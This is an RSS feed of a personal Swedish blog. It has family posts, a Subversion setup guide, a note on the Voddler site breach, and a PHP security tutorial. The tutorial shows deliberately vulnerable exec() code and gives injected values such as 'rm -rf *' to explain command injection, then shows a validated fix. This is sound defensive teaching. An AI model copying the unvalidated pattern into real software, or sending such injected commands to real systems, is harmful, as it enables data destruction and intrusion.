<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Från skog till web</title>
	<atom:link href="http://txc.se/feed/" rel="self" type="application/rss+xml" />
	<link>http://txc.se</link>
	<description>Om att se livet från olika sidor</description>
	<lastBuildDate>Sat, 19 Jun 2010 21:49:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Kärlek?</title>
		<link>http://txc.se/2010/06/karlek/</link>
		<comments>http://txc.se/2010/06/karlek/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 17:45:49 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Personligt]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=85</guid>
		<description><![CDATA[Efter att ha tillbringat en tid här i Örebro. Så har man upptäckt det som kallas kärlek. Helt underbart. Tjejen jag har träffat är en underbar kvinna, Lizette, hon har en dotter som är 2 ½ år gammal. Blir en hel del komik om dagarna när man umgås med dom. Vilket gör att man får [...]]]></description>
			<content:encoded><![CDATA[<p>Efter att ha tillbringat en tid här i Örebro. Så har man upptäckt det som kallas kärlek.</p>
<p>Helt underbart.<span id="more-85"></span></p>
<p>Tjejen jag har träffat är en underbar kvinna, Lizette, hon har en dotter som är 2 ½ år gammal. Blir en hel del komik om dagarna när man umgås med dom. Vilket gör att man får en hel del skratt!</p>
<p>Nämnde i tidigare post att Jonathan är med här uppe. Det fungerar underbart med barnen ihop, dom bråkar, men det gör alla mer eller mindre. Dom trivs ihop, dom leker fin fint ihop. Vad mer kan man begära?</p>
<p>Vi var idag på Lek &amp; Buslandet här i Örebro, tillsammans med Lizettes bästa kompis Jenny. Där ungarna fick leka av sig rejält, 120kr för 3h lek o bus. Rena sömnpillret för dom, och oss.</p>

<div class="ngg-albumoverview">	
	<!-- List of galleries -->
	
	<div class="ngg-album">
		<div class="ngg-albumtitle"><a href="http://txc.se/2010/06/karlek/?album=2&amp;gallery=3">Lizz</a></div>
			<div class="ngg-albumcontent">
				<div class="ngg-thumbnail">
					<a href="http://txc.se/2010/06/karlek/?album=2&amp;gallery=3"><img class="Thumb" alt="Lizz" src="http://txc.se/wp-content/gallery/lizz/thumbs/thumbs_IMGP0592.jpg"/></a>
				</div>
				<div class="ngg-description">
				<p></p>
								<p><strong>64</strong> Bilder</p>
							</div>
		</div>
	</div>

 	
	<div class="ngg-album">
		<div class="ngg-albumtitle"><a href="http://txc.se/2010/06/karlek/?album=2&amp;gallery=4">lekobus</a></div>
			<div class="ngg-albumcontent">
				<div class="ngg-thumbnail">
					<a href="http://txc.se/2010/06/karlek/?album=2&amp;gallery=4"><img class="Thumb" alt="lekobus" src="http://txc.se/wp-content/gallery/lekobus/thumbs/thumbs_IMGP0634.jpg"/></a>
				</div>
				<div class="ngg-description">
				<p></p>
								<p><strong>42</strong> Bilder</p>
							</div>
		</div>
	</div>

 	 	
	<!-- Pagination -->
 	<div class="ngg-clear"></div> 	
</div>


]]></content:encoded>
			<wfw:commentRss>http://txc.se/2010/06/karlek/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Halvsemester</title>
		<link>http://txc.se/2010/06/halvsemester/</link>
		<comments>http://txc.se/2010/06/halvsemester/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 07:37:16 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Personligt]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=75</guid>
		<description><![CDATA[Som ni kunde läsa i förra inlägget så hade jag träffat någon. Jag har varit uppe i Örebro och träffat henne 2 ggr. Den första gången så var det bara jag och min hund Nick, nu den andra gången så var min son Jonathan med mig. Jonathan verkar trivas bra här uppe, han är glad [...]]]></description>
			<content:encoded><![CDATA[<p>Som ni kunde läsa i förra inlägget så hade jag träffat någon. Jag har varit uppe i Örebro och träffat henne 2 ggr. Den första gången så var det bara jag och min hund Nick, nu den andra gången så var min son Jonathan med mig. Jonathan verkar trivas bra här uppe, han är glad och det är full fart på honom hela tiden. Vilket känns skönt faktiskt.<span id="more-75"></span></p>
<p>Igår när vi varute så hände det mycket saker.</p>
<p>Som när vi såg en liten fågelunge som trillat ned från trädet. Ungen var inte större än en sådan där &#8221;Kinderägg&#8221;s boll.</p>
<p><a class="shutterset_" href="http://www.txc.se/wp-content/gallery/orebro/IMGP0560.jpg"><img class="ngg-singlepic ngg-none" src="http://www.txc.se/wp-content/gallery/orebro/thumbs/thumbs_IMGP0560.jpg" alt="IMGP0560" /></a></p>
<p>Annars har Jonathan verkligen haft det skoj här uppe, bara att se nedan <img src='http://txc.se/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<div class="ngg-galleryoverview" id="ngg-gallery-2-75">

	<!-- Slideshow link -->
	<div class="slideshowlink">
		<a class="slideshowlink" href="http://txc.se/2010/06/halvsemester/?show=slide">
			[Show as slideshow]		</a>
	</div>

	<!-- Piclense link -->
	<div class="piclenselink">
		<a class="piclenselink" href="javascript:PicLensLite.start({feedUrl:'http://txc.se/wp-content/plugins/nextgen-gallery/xml/media-rss.php?gid=2&amp;mode=gallery'});">
			[Visa med PicLens]		</a>
	</div>
	
	<!-- Thumbnails -->
		
	<div id="ngg-image-46" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0549.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0549" alt="IMGP0549" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0549.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-47" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0552.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0552" alt="IMGP0552" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0552.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-48" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0555.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0555" alt="IMGP0555" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0555.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-49" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0562.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0562" alt="IMGP0562" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0562.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-50" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0567.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0567" alt="IMGP0567" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0567.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-51" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0570.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0570" alt="IMGP0570" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0570.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-52" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0589.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0589" alt="IMGP0589" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0589.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-45" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://txc.se/wp-content/gallery/jonathan-i-orebro/IMGP0530.jpg" title=" " class="shutterset_set_2" >
								<img title="IMGP0530" alt="IMGP0530" src="http://txc.se/wp-content/gallery/jonathan-i-orebro/thumbs/thumbs_IMGP0530.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 	 	
	<!-- Pagination -->
 	<div class='ngg-clear'></div>
 	
</div>


]]></content:encoded>
			<wfw:commentRss>http://txc.se/2010/06/halvsemester/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ett rejält tag sedan</title>
		<link>http://txc.se/2010/06/ett-rejalt-tag-sedan/</link>
		<comments>http://txc.se/2010/06/ett-rejalt-tag-sedan/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 22:05:00 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Personligt]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=57</guid>
		<description><![CDATA[Det var ett rejält tag sedan man skrev här, det har hänt en hel del sedan sist. Jag blev singel. Jupp, sorgligt men sant, eller ja&#8230; Det var trist ett tag. Det är sånt som händer. Sedan har jag flyttat från Ljungby till Lenhovda i Småländska glasriket. Yeay, mitt ute i ingenstans. Ett samhälle där [...]]]></description>
			<content:encoded><![CDATA[<p>Det var ett rejält tag sedan man skrev här, det har hänt en hel del sedan sist.</p>
<p>Jag blev singel. Jupp, sorgligt men sant, eller ja&#8230; Det var trist ett tag. Det är sånt som händer.</p>
<p><span id="more-57"></span>Sedan har jag flyttat från Ljungby till Lenhovda i Småländska glasriket. Yeay, mitt ute i ingenstans. Ett samhälle där stort sett alla känner alla.</p>
<p>Och mitt i ensamheten kom det ett ljus när jag började fundera på att skaffa hund, efter att sökt med ljus o lykta på Blocket så hittade Henrik (broder) en hundvalp i Skåne, sagt o gjort så ringde han utan att ens konsultera mig på den. Bestämde tid o plats så vi hämtade honom. Hans namn är Nick, en korsning mellan Rottweiler och Border Collie.</p>
<p><a class="shutterset_" href="http://www.txc.se/wp-content/uploads/gallery/orebro/IMGP0525.jpg"><img class="ngg-singlepic ngg-none" src="http://www.txc.se/wp-content/gallery/orebro/thumbs/thumbs_IMGP0525.jpg" alt="IMGP0525" /></a></p>
<p>Sedan kom en ännu större lycka när sonen Jonathan kom till mig, riktigt underbart. Och när farfar bor så nära som han gör så blir det en hel del mys för honom där <img src='http://txc.se/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a class="shutterset_" href="http://www.txc.se/wp-content/gallery/orebro/IMGP0526.jpg"><img class="ngg-singlepic ngg-none" src="http://www.txc.se/wp-content/gallery/orebro/thumbs/thumbs_IMGP0526.jpg" alt="IMGP0526" /></a></p>
<p>Som tur i oturen så träffade jag en underbar tjej som kom från ingenstans. Som verkligen förgyllde min vardag på alla sätt.</p>
<p>Mer om det senare. <img src='http://txc.se/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2010/06/ett-rejalt-tag-sedan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Voddler har blivit hackat!</title>
		<link>http://txc.se/2009/07/voddler-har-blivit-hackat/</link>
		<comments>http://txc.se/2009/07/voddler-har-blivit-hackat/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 10:46:11 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Blogg]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[idg]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Säkerhet]]></category>
		<category><![CDATA[voddler]]></category>
		<category><![CDATA[webmaster network]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=52</guid>
		<description><![CDATA[Bara några timmar efter att Voddler hade premiär så blev dom hackade. Eller ja, man kan inte kalla det hack, eftersom allting handlade om säkerhetsbrist hos programmerna. Detta uppmärksammades först på Webmaster Networks (WN) IRC-kanal, och sen publicerades det ett inlägg under Nyheter på WN. Eftersom IDG brukar vara relativt snabba på att skvallra när [...]]]></description>
			<content:encoded><![CDATA[<p>Bara några timmar efter att Voddler hade premiär så blev dom hackade. Eller ja, man kan inte kalla det hack, eftersom allting handlade om säkerhetsbrist hos programmerna.</p>
<p>Detta uppmärksammades först på Webmaster Networks (WN) IRC-kanal, och sen publicerades det <a title="Voddler hackat, av fransmänn!" href="http://www.webmasternetwork.se/f3t37778.html">ett inlägg under Nyheter</a> på WN.</p>
<p><img title="(Läs mer...)" src="../wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /><span id="more-52"></span></p>
<p>Eftersom IDG brukar vara relativt snabba på att skvallra när det hänt något så skickade jag ett mail till Daniel Goldberg på Computer Sweden (eftersom han skrev om <a title="Premiär för ny svensk filmtjänst" href="http://computersweden.idg.se/2.2683/1.238079">Voddlers premiär</a>) och hänvisade till tråden på WN, kort därefter så dök <a title="Intrång på Voddler - bara timmar efter premiären" href="http://sakerhet.idg.se/2.1070/1.238506/intrang-pa-voddler--bara-timmar-efter-premiaren">artikeln upp på Tech World</a>, med hänvisning till WN.</p>
<p>Mina kommentarer är kort att det är förargligt men även att förskräckligt.</p>
<p>Hur gjorde dom då?</p>
<p>Enligt inlägget från fransmännen (forumet är nedstängt, men en kopia finns här: <a href="http://x.jine.se/voddler/index.html">Sida 1</a>, <a href="http://x.jine.se/voddler/index2.html">Sida 2</a>) som lade ut det hela, så verkar han ha kommit åt en fil med PHP-kod, där uppgifter till MySQL fanns med (root uppgifter med synligt lösenord) och testade att logga in med detta till maskinen.</p>
<p>Enligt Mattias Hjelmstedt, vice vd och en av grundarna bakom Voddler, så skulle detta enbart röra sig om intrång i beta-programmet.</p>
<blockquote><p>– I det läget hade vi 176 aktiva konton och intrånget har skett i betaversionen och inte i den skarpa tjänst som lanseras snart. Vi har nu skärpt säkerheten och sett till att liknande intrång inte ska kunna ske igen, säger Hjelmstedt.</p></blockquote>
<p>Men det han glömmer att berätta är att det finns 15&#8217;000st epost adresser på vift med tillhörande lösenord. Samt att beta &amp; den framtida webbplatsen finns på samma maskin. Dit hackarna har haft tillgång.</p>
<p><strong>Uppdaterat</strong>: Nu har även <a title="Intrång på Voddler" href="http://www.svd.se/naringsliv/it/artikel_3177117.svd">Svenska Dagbladet</a> kommit ut med det</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/07/voddler-har-blivit-hackat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To: Hantera Din Egen Subversion Förvaringplats I Leopard</title>
		<link>http://txc.se/2009/06/how-to-hantera-din-egen-subversion-forvaringplats-i-leopard/</link>
		<comments>http://txc.se/2009/06/how-to-hantera-din-egen-subversion-forvaringplats-i-leopard/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 18:15:29 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Blogg]]></category>
		<category><![CDATA[10.5]]></category>
		<category><![CDATA[Apache 2]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Coda]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[SVN]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=47</guid>
		<description><![CDATA[Mac OS X 10.5 Leopard kommer med Subversion 1.4.4. för-installerat. Det kommer också med Apache2 för-installerat. Det kommer dock inte med med en för-installerad subversion förvaringsplats konfigurerat åt en. Så då måste vi fixa detta själv, så att vår kära Leopard maskin kan hantera vår egen källkod. Du kan gå till subversions hemsida och ladda [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Apple Mac OS X 10.5 Leopard" href="http://www.apple.com/macosx/">Mac OS X 10.5 Leopard</a> kommer med <a title="Subversion" href="http://subversion.tigris.org/">Subversion</a> 1.4.4. för-installerat. Det kommer också med <a title="Apache" href="http://httpd.apache.org/">Apache2</a> för-installerat. Det kommer dock inte med med en för-installerad subversion förvaringsplats konfigurerat åt en.</p>
<p>Så då måste vi fixa detta själv, så att vår kära Leopard maskin kan hantera vår egen källkod.</p>
<p>Du kan gå till subversions hemsida och <a href="http://svnbook.red-bean.com/">ladda ned den fria boken</a>, och gå igenom helt och fundera ut hur detta gäller för dig, eller så kan du följa dessa enkla exempel som jag beskriver åt dig.<br />
<span id="more-47"></span></p>
<h2>Göra en förvaringsplats</h2>
<p>Det första man måste göra är att skapa en förvaringsplats. Faktiskt, för mina behov så måste jag ha flera stycken, så dessa instruktioner kommer att fungera för flera platser. Det är bara på två ställen som detta gäller hur som helst, det är ingen stor sak.<br />
Nu väljer jag att ha förvaringsplats i <code>/Users/Shared/</code>, men du kan ha det var du vill, inklusive i den annars så populära <code>/usr/local/</code>. Var bara säker på att ändra sökvägarna, där det måste.<br />
Öppna upp terminalen och skriv in följande:</p>
<pre name="code" class="bash">$ sudo mkdir -p /Users/Shared/svn/namn
$ sudo svnadmin create /Users/Shared/svn/namn
$ sudo chown -R www:www /Users/Shared/svn/namn</pre>
<p>Notera att du kan skapa flera förvaringsplatser enkelt genom att bara byta ut &#8221;namn&#8221; mot ditt andra namn. Om du vill skapa namn &amp; namn2 så byt ut namn mot namn2. Genom att du skapar flera förvaringsplatser så kommer du därmed även att få fler kataloger i <code>/Users/Shared/svn/</code></p>
<h2>Skapa tillträde</h2>
<p>Dom flesta guider gör detta senare, men jag gör det nu eftersom jag tror du är smartare än så.</p>
<p>Du kanske vill skapa en lösenordsfil, såvida du inte vill ha fritt tillträde för din förvaring. För mig så räcker det med simpel HTTP autentisering, men kom ihåg att användarnamn &amp; lösenord kommer att skickas i väldigt svag kodning, och trafiken är troligen inte alls kodad (om du nu inte har belönat dig själv med lyxen att ha SSL till din maskin), så en person som sniffar din trafik kommer inte ha något starkt motstånd för att få tillträde.</p>
<p>Så om du vill använda autentisering, skapa en lösenordsfil genom följande kommando, byt ut användarnamn för ett användarnman som du väljer, och följ anvisningarna under:</p>
<pre name="code" class="bash">$ sudo htpasswd -cm /etc/apache2/svn-auth-file username</pre>
<p>För att lägga till fler användare till filen, ta bara bort &#8221;c&#8221; switchen i &#8221;-cm&#8221; valet till htpasswd. C:et står för &#8221;create&#8221; (skapa), och eftersom filen är skapad så behöver du inte det igen.</p>
<p>Notera att du välja att ha <code>svn-auth-file</code> var du vill i systemet, men det känns som en bra plats att ha den i min skalle. (Kom bara ihåg att du var du lägger den.)</p>
<h2>Apache Konfigurering</h2>
<p>Navigera till <code>/etc/apache2/other</code> och använd din favorit editor för att ändra som &#8221;root&#8221; för att skapa en fil som heter vad som helst (jag kör på <code>svn.conf</code>, men du kan döpa den till choklad.conf och det kommer fortfarande att fungera):</p>
<pre name="code" class="bash">$ cd /etc/apache/other
$ sudo nano svn.conf</pre>
<p>Nu när du ändrar denna fil som root, så se till att den innehåller följande och spara sen.</p>
<pre name="code" class="html">LoadModule dav_svn_module /usr/libexec/apache2/mod_dav_svn.so

&lt;Location /svn&gt;
DAV svn

SVNParentPath /Users/Shared/svn

AuthType Basic
AuthName "Subversion repository"
AuthUserFile /etc/apache2/svn-auth-file
Require valid-user
&lt;/Location&gt;</pre>
<p>Du kan ta bort dom fyra sista raderna (från <code>AuthType Basic</code> till <code>Require valid-user</code>) om du inte vill ha autentisering. Du behöer också eventuellt fixa <code>SVNParentPath</code> och <code>AuthUserFile</code> om du har valt andra sökvägar än dom jag valt till mig själv.</p>
<h2>Starta om Apache</h2>
<p>Detta kan du göra under &#8221;Delning&#8221; under System Inställningar, bara att bocka av och sedan bocka bredvid Webbdelning.</p>
<p>Nu om du inte har gjort ett misstag så är du klar. Testa att gå till: http://localhost/svn/namn (du behöver byta ut namn emot det namn du tidigare valde) och se vad som händer.</p>
<p>Om du har tur så kommer du att se Revision 0 i din förvaringsplats. Men de flesta är människor och kan ha skrivit fel någonstans. För att få reda på vad som kan generera fel, försök och kontrollera /var/log/system.log och /var/log/apache2/error_log för ledtrådar om vad du kan ha gjort för fel. (Och som en bonus, det finns en underbar applikation som heter &#8221;tail&#8221;, med &#8221;-f&#8221; som argument (Tex. tail -f /var/log/system.log) så kan du se i realtid vad som skrivs.)</p>
<h2>Och nu då?</h2>
<p>Nu är du redo att använda din förvaringsplats. Nu tror jag också att du redan vet hur man använder SVN och inte behöver min hjälp mer. Men om du vill veta hur man använder SVN, gå då till <a href="http://svnbook.red-bean.com/">deras bok</a> som kommer att berätta vad du vill veta och lite till, även hur du skall göra din server bättre.</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/06/how-to-hantera-din-egen-subversion-forvaringplats-i-leopard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reklamfrihet</title>
		<link>http://txc.se/2009/05/reklamfrihet/</link>
		<comments>http://txc.se/2009/05/reklamfrihet/#comments</comments>
		<pubDate>Wed, 20 May 2009 08:23:50 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Samhället]]></category>
		<category><![CDATA[binero]]></category>
		<category><![CDATA[brevlåda]]></category>
		<category><![CDATA[loopia]]></category>
		<category><![CDATA[nix]]></category>
		<category><![CDATA[Reklamfritt]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=45</guid>
		<description><![CDATA[Nu har en ny tjänst på nätet sett dagens ljus. Reklamfritt har lanserats, Jonathan Sulo (från Loopia &#38; Binero) står bakom denna tjänst. Eftersom lagstiftningen har ändrats så att man kan samköra flera olika register för adresserad reklam så är det enklare att slippa reklamen i brevlådan. Tjänsten kan ses som ett NIX register för [...]]]></description>
			<content:encoded><![CDATA[<p>Nu har en ny tjänst på nätet sett dagens ljus. <a title="Reklamfritt" href="http://www.reklamfritt.se">Reklamfritt</a> har lanserats, Jonathan Sulo (från <a title="Loopia" href="http://www.loopia.se">Loopia</a> &amp; <a title="Binero" href="http://www.binero.se">Binero</a>) står bakom denna tjänst.</p>
<p>Eftersom lagstiftningen har ändrats så att man kan samköra flera olika register för adresserad reklam så är det enklare att slippa reklamen i brevlådan.</p>
<p>Tjänsten kan ses som ett NIX register för brevlådan.</p>
<p><a title="Befria din brevlåda" href="http://reklamfritt.se/2009/05/19/befria-din-brevlada/">Ni kan läsa mer här</a></p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/05/reklamfrihet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DDo$ &#8211; Distributed Denial of Dollars!</title>
		<link>http://txc.se/2009/05/ddo-distributed-denial-of-dollars/</link>
		<comments>http://txc.se/2009/05/ddo-distributed-denial-of-dollars/#comments</comments>
		<pubDate>Wed, 13 May 2009 19:51:52 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Blogg]]></category>
		<category><![CDATA[DDo$]]></category>
		<category><![CDATA[ThePirateBay]]></category>

		<guid isPermaLink="false">http://www.txc.se/blogg/ddo-distributed-denial-of-dollars/</guid>
		<description><![CDATA[Läste precis på NyTeknik om DDo$. Något väldigt kreativt från Gottfrid Svartholm Warg. Genom att sätta in minimibeloppet (1SEK) till den advokatbyrå som tidigare representerat upphovsrättsindustrins sida av målet mot ThePirateBay, och sedan att dom måste betala tillbaka beloppet, eftersom detta är ogiltlig inbetalning. Det många inte tänker på här är att varje transaktion kostar [...]]]></description>
			<content:encoded><![CDATA[<p>Läste precis på <a href="http://www.nyteknik.se/nyheter/it_telekom/internet/article575671.ece">NyTeknik</a> om DDo$.<br />
Något väldigt kreativt från Gottfrid Svartholm Warg.</p>
<p>Genom att sätta in minimibeloppet (1SEK) till den advokatbyrå som tidigare representerat upphovsrättsindustrins sida av målet mot ThePirateBay, och sedan att dom måste betala tillbaka beloppet, eftersom detta är ogiltlig inbetalning.</p>
<p>Det många inte tänker på här är att varje transaktion kostar sen är det bokföring mm som krävs för att hantera detta, och vid en uträkning så kommer detta att kosta advokatbyrån 1.70SEK per instättning för varje krona.</p>
<p>Eftersom varje belopp måste betalas tillbaka så är detta en &#8221;Denial of Dollars&#8221;, ärvt sitt namn av begreppet i datorvärldens DDoS &#8211; Distributed Denial of Service &#8211; dom går ut på att låta ett stort antal datorer upprepade gånger be om en tjänst (t.ex hämta en hemsida). Eftersom detta sker i så pass stor skala så blir det en överbelastning och tjänsten går ned.</p>
<p>Moraliskt väldigt fel, men väldigt kreativt &amp; roligt!</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/05/ddo-distributed-denial-of-dollars/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Säkerhet</title>
		<link>http://txc.se/2009/04/php-sakerhet/</link>
		<comments>http://txc.se/2009/04/php-sakerhet/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 19:43:04 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Säkerhet]]></category>
		<category><![CDATA[Webben]]></category>
		<category><![CDATA[kapning]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sessioner]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=37</guid>
		<description><![CDATA[PHP är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a title="PHP, eller Hypertext Preprocessor, är ett open-source, ett server-sid programmers språk." href="http://www.php.net">PHP</a> är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. Många mailinglistor, forum och bloggar rapporterar stadigt om nya säkerhetshål i PHP applikationer, men PHP kan vara lika säkert som vilket annat språk som helst om man bara förstår dom vanligaste missarna man kan göra.</strong></p>
<p>Jag skall gå igenom dom vanligaste missarna som kan resultera i säkerhetshål och visa exempel på hur man kan göra för att undvika detta. Jag hoppas att du som läsare skall förstå hur man kan undvika detta. Genom att förstå varje miss hjälper dig att undvika misstagen i dina script.</p>
<p>Säkerhet är en process, inte en produkt, och genom att ha en tänka på säkerheten när man programmerar sin applikation så kommer du att producera en tätare och mer robust kod.<br />
<span id="more-37"></span></p>
<h2>Ej kontrollerade inmatningar</h2>
<p>Ett av dom (om inte det) vanligaste säkerhetshålet i PHP är icke kontrollerad data. När en användare som kan fylla i formulär kan helt enkelt inte bli litad på. Du skall alltid anta att varje användare som kommer att använda din applikation är illvillig, för att det är alltid någon som kommer att bli det. Ej kontrollerad eller ej korrekt kontrollerad är grunden till att många brister förekommer. Men vi kommer till det senare.</p>
<p>Som ett exempel, du kommer att skriva följande kod för att tillåta en användare att visa en kalender som visar en specifik månad genom att anropa UNIX kommandot &#8221;<em>cal</em>&#8221;.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna koden har ett stort säkerhetshål, detta genom att den <em>$_GET['month']</em> och <em>$_GET['year']</em> blir inte validerade på något sätt. Applikationen gör exakt vad den skall göra, så länge <em>month </em>är ett värde mellan 1 och 12, och <em>year</em> är ett korrekt 4-siffrigt årtal. Men, en elak användare kanske skriver &#8221;<em>ls -l</em>&#8221; istället för ett årtal och kan därmed se en listning av hela din webbsidas html katalog. En extremt elak användare kan skriva &#8221;<em>rm -rf *</em>&#8221; istället och därmed radera hela din websida!</p>
<p>Den korrekta vägen att göra detta är att kontrollera att <em>year</em> och <em>month</em> verkligen är vad du vill att det skall vara. Använd inte JavaScript för denna kontroll; denna form av validering kommer man enkelt runt genom att skapa ett eget formulär eller genom att stänga av javascript. Javascript validering här är bra på ett sätt, att kontrollera formuläret och underrätta användaren om att inmatningen är felaktig. För att göra detta korrekt behöver du lägga till PHP kod som försäkrar dig om att <em>month och </em>year är siffror och enbart siffror, som jag visar nedan.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Felaktig månad");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Felaktigt årtal");

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna kod kan användas utan att oroa sig för att en användare skall utnyttja något säkerhetshål. Eftersom den tillåter bara siffror. Reguljära uttryck är ett fantastiskt verktyg att använda för att validera inmatningar. De kan vara svåra att få ett grepp om, men när man lärt sig det så är det otroligt kraftfullt att använda. Speciellt i sådana här fall.</p>
